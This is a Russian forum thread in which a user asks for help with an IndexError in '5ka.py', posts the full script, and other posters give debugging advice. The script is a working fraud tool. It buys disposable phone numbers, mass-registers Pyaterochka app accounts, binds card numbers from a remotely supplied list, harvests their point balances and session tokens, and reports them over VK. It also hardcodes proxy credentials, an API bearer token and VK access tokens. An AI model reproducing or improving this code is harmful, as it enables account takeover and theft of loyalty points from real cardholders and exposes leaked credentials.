Traceback (most recent call last): File “5ka.py”, line 239, in <module> onemorecheckvk() File “5ka.py”, line 200, in onemorecheckvk date = infotext IndexError: list index out of range Помогите, пожалуйста, не знаю , что делать
называть скрипт прогой The post was merged to previous Apr 15, 2020 у тебя за пределы массива вышло, елементов мало
Gjrihnejorbfneb, import requests import random import time import uuid import urllib.request proxies = {'https': 'https://RDiX1JBV:i12tqZeD@188.130.185.17:1050'} #proxies = {'https': 'https://RDiX1JBV:i12tqZeD@188.130.185.17:1050'} fsim = {'Authorization': 'Bearer eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MTY0MzgzNzgsImlhdCI6MTU4NDkwMjM3OCwicmF5IjoiZTYxYzI1ZDNlMzg4ZGU2NjE4N2IzY2YxYjllMjIwNjUiLCJzdWIiOjMyMTg4OX0.eYHG1Gm8XVZ619glcsScAInU93N58LaVSU08I6oEkQtJBSj8nHSaFFeXG0AV50m09bx_VEPAbRkJpuKR8NgrzCyOrrgg3-eONBFzygcqLZx5M-Bf3dBSQKIpVwVHdg4tahZnghb9LCjZRU-xwXMQdLE2S254M7svQ552DvKhUcwmz_f7FOt--SGehkLyNukiXx-rpK1DXJR03EWdeC9eiqwmCc-Ld7zWNbBXM2zkcjsSv1ugyZZPeoUYcHa2tu25so8p8d_U9jHOgTYeQPWeMrEFzswZo7b6dDLhRh4dJcQcvnjTF_8TD4ifgqOkhN4dY45BHdhML8w3Oae7tgQl6w'} vk_user = '549319044' vk_user1 = '549319044' vk_token = 'bf9769fac724a590738e01d5dca44bbffa4f4aeab8d4d4440f9d3faa698229d477a4e31c5b68cef6e6db0' #присылает vk_token_smena = '4a9770c4a41a85a06385328701169f0263b17b1f8e521153aa55ff6910ceaabd2c4032d4d838e583d8fed'#файлприкрепл global tides global spisok global bancard bancard = [] global i global a a = 0 def pyatkapost(url, headers, cookies=None, json=None): while True: try: a = requests.post(url, headers=headers, cookies=cookies, json=json, proxies=proxies) if 'signup' in url or 'signin' in url or 'logout' in url: return a else: return a.json() except: continue def pyatkaget(url, headers, cookies=None): while True: try: a = requests.get(url, headers=headers, cookies=cookies, proxies=proxies) return a.json() except: continue def regcards(info): global spisok global bancard global i global a card = spisok[a] print(spisok.index(spisok[a])) a = a + 1 print(card) cinfo = pyatkapost('https://my.5ka.ru/api/v1/services/cards/status', json={'number': card}, headers=info['headers'], cookies=info['cookies']) bancard.append(card) print(bancard) if cinfo.get('code') == 4000: print('ban 4000') telefon = info['telefon'] requests.get(f'https://api.vk.com/method/messages.send?peer_id={vk_user}&v=5.38&message=2_potok\nban_nphone_number: {telefon}\n ban_cards: {bancard}&access_token={vk_token}') print(cinfo) bancard.clear() a = a - 1 return False if cinfo.get('is_confirmed') is None or cinfo.get('is_exists') is None or not cinfo['is_confirmed'] or not cinfo['is_exists']: print(cinfo) return regcards(info) bancard.clear() req = dict() req['card_number'] = card req['phone'] = dict() req['phone']['format'] = 'json' req['phone']['token'] = info['token'] req['password'] = 's12345' req['format'] = 'json' req['person'] = dict() req['person']['sex'] = 'man' req['person']['city_name'] = 'г. Волгоград' req['person']['birthday'] = '2000-04-05' req['person']['first_name'] = 'Олег' req['person']['format'] = 'json' pyatkapost('https://my.5ka.ru/api/v3/auth/signup', json=req, headers=info['headers'], cookies=info['cookies']) me = pyatkaget('https://my.5ka.ru/api/v1/users/me', headers=info['headers'], cookies=info['cookies']) phonenumers = me['contacts']['phones'][0]['phone']['number'] while me.get('code') is not None and me['code'] == 1: print('ban drygoe') print(me) return regcards(info) print('+1 card') #time.sleep(10) card = me['cards']['main'] cardinfo = pyatkaget(f'https://my.5ka.ru/api/v1/cards/{card}', headers=info['headers'], cookies=info['cookies']) print(cardinfo['balance']['points']) print(cardinfo['balance']['incoming_monthly_points']) numbercard = cardinfo['number'] balance = cardinfo['balance']['points'] balanceinmonth = cardinfo['balance']['incoming_monthly_points'] global tides smskod = tides print(smskod) print(tides) t = open('tokenbog.txt', 'a') t.write(str(info['headers']['X-Authorization']) +':'+str(balance)+' Month points: ' + str(balanceinmonth) +'\n') t.close() #pyatkapost('https://my.5ka.ru/api/v1/auth/logout', headers=info['headers'], cookies=info['cookies']) if balance > 75000000: requests.get(f'https://api.vk.com/method/messages.send?peer_id={vk_user1}&v=5.38&message=amount: {balance}\namount_monthly: {balanceinmonth} \nphone_number: {phonenumers} \ncard_number: {numbercard}&access_token={vk_token}') requests.get(f'https://api.vk.com/method/messages.send?peer_id={vk_user}&v=5.38&message=2_potok\namount: 0\namount_monthly: 0\nphone_number: {phonenumers} \ncard_number: {numbercard}&access_token={vk_token}') else: requests.get(f'https://api.vk.com/method/messages.send?peer_id={vk_user}&v=5.38&message=2_potok\namount: {balance}\namount_monthly: {balanceinmonth} \nphone_number: {phonenumers} \ncard_number: {numbercard}&access_token={vk_token}') return True def regacc(tid=None, udid=None): b = 0 if udid is None: udid = str(uuid.uuid4()).upper() req = dict() req['version'] = '1' req['app'] = dict() req['app']['version'] = '2.7.0' req['app']['user_agent'] = 'ru.5ka.app \\/ iOS (11.2.2)' req['app']['device_id'] = udid req['app']['platform'] = 'ios' headers = dict() headers['User-Agent'] = 'Pyaterochka/2.7.0 (iPhone; iOS 11.2.2; Scale/2.00)' headers['X-DEVICE-ID'] = udid headers['X-PLATFORM'] = 'ios' headers['X-CAN-RECEIVE-PUSH'] = 'false' cookies = {'location_id': '2448'} handshake = pyatkapost('https://my.5ka.ru/api/v1/startup/handshake', json=req, headers=headers, cookies=cookies) headers['X-Authorization'] = 'Token' + handshake['server']['features']['security/session']['token']['value'] cookies['token'] = headers['X-Authorization'] if tid is None: while True: try: phone1 = requests.get('https://5sim.net/v1/user/buy/activation/russia/any/pyaterochka', headers=fsim) phone = phone1.json() print(phone) tid = phone['id'] global tides tides = str(phone['id']) print(phone['phone']) print(tides) break except: print(phone1.text) if phone1.text == 'not enough user balance': requests.get(f'https://api.vk.com/method/messages.send?peer_id={vk_user}&v=5.38&message=OUT OF MONEY&access_token={vk_token}') print('wait money 5min') time.sleep(300) status = requests.get(f'https://5sim.net/v1/user/check/{tid}', headers=fsim).json() smses = len(status['sms']) smsreq = pyatkapost('https://my.5ka.ru/api/v1/services/phones/add', json={'number': status['phone']}, headers=headers, cookies=cookies) if smsreq.get('code') is not None and smsreq['code'] == 4000: return regacc(tid) if smsreq.get('code') is not None and smsreq['code'] == 4030: print('ban acc') return None while len(status['sms']) == smses: if b == 12: print('Fucked up number') status = requests.get(f'https://5sim.net/v1/user/ban/{tid}', headers=fsim).json() print(status) return None time.sleep(10) print('запрос смс') status = requests.get(f'https://5sim.net/v1/user/check/{tid}', headers=fsim).json() b = b + 1 if status['status'] == 'TIMEOUT': print('Fucked up number') return None smsq = dict() smsq['token'] = smsreq['token'] smsq['format'] = 'json' smsq['code'] = str(status['sms'][-1]['code']) reg = pyatkapost('https://my.5ka.ru/api/v1/services/phones/check', json=smsq, headers=headers, cookies=cookies) return {'headers': headers, 'cookies': cookies, 'tid': tid, 'token': reg['token'], 'telefon' : status['phone'], } def newcheckfile(): global file_name #print(file_name) global spisok spisok = [] global i i = 0 with open(file_name) as f: for line in f.readlines(): spisok.append(line.strip()) #print(line.strip()) i = i + 1 #print(spisok) print(i) print(spisok) return i def onemorecheckvk(): global date global file_name global a infotext = requests.get(f'https://api.vk.com/method/messages.getHistory?user_id={vk_user}&count=1&v=5.85&access_token={vk_token_smena}').json() #print(infotext['response']['items'][0]['date']) date = infotext['response']['items'][0]['date'] url = infotext['response']['items'][0]['attachments'][0]['doc']['url'] name = infotext['response']['items'][0]['attachments'][0]['doc']['title'] if (infotext['response']['items'][0]['text']) == 'gang': url = infotext['response']['items'][0]['attachments'][0]['doc']['url'] name = infotext['response']['items'][0]['attachments'][0]['doc']['title'] #print(infotext['response']['items'][0]['attachments'][0]['doc']['title']) logo = urllib.request.urlretrieve(url,name) a = 4 file_name = name newcheckfile() requests.get(f'https://api.vk.com/method/messages.send?peer_id={vk_user}&v=5.38&message=read 2 theard\nready to work :)&access_token={vk_token}') date = infotext['response']['items'][0]['date'] #print(logo) return date def evrytimecheckvk(): global file_name global spisok global date global a infotext = requests.get(f'https://api.vk.com/method/messages.getHistory?user_id={vk_user}&count=1&v=5.85&access_token={vk_token_smena}').json() if (infotext['response']['items'][0]['text']) == 'gang': url = infotext['response']['items'][0]['attachments'][0]['doc']['url'] name = infotext['response']['items'][0]['attachments'][0]['doc']['title'] #print(infotext['response']['items'][0]['attachments'][0]['doc']['title']) if infotext['response']['items'][0]['date'] == date: print('Старый файл') else: #print(infotext['response']['items'][0]['attachments'][0]['doc']['title']) logo = urllib.request.urlretrieve(url,name) a = 0 spisok.clear() file_name = name newcheckfile() requests.get(f'https://api.vk.com/method/messages.send?peer_id={vk_user}&v=5.38&message=read 2 theard\nready to work :)&access_token={vk_token}') date = infotext['response']['items'][0]['date'] return infotext['response']['items'][0]['attachments'][0]['doc']['title'] if __name__ == '__main__': global file_name onemorecheckvk() global spisok global i #global a print(a) #newcheckfile() while True: evrytimecheckvk() info = regacc() if info is None: continue tid = info['tid'] reg = regcards(info) #while reg and info is not None: #info = regacc(info['tid'], info['headers']['X-DEVICE-ID']) #if info is None: #break #reg = regcards(info)
gfybih, у тебя нет проверки на существование элемента. if var is None конструкция или if len(var)==0.
gfybih, if len(infotext['response']['items']) == 0: break # выход из программы Code if len(infotext['response']['items']) == 0: break # выход из программы и такие проверки надо везде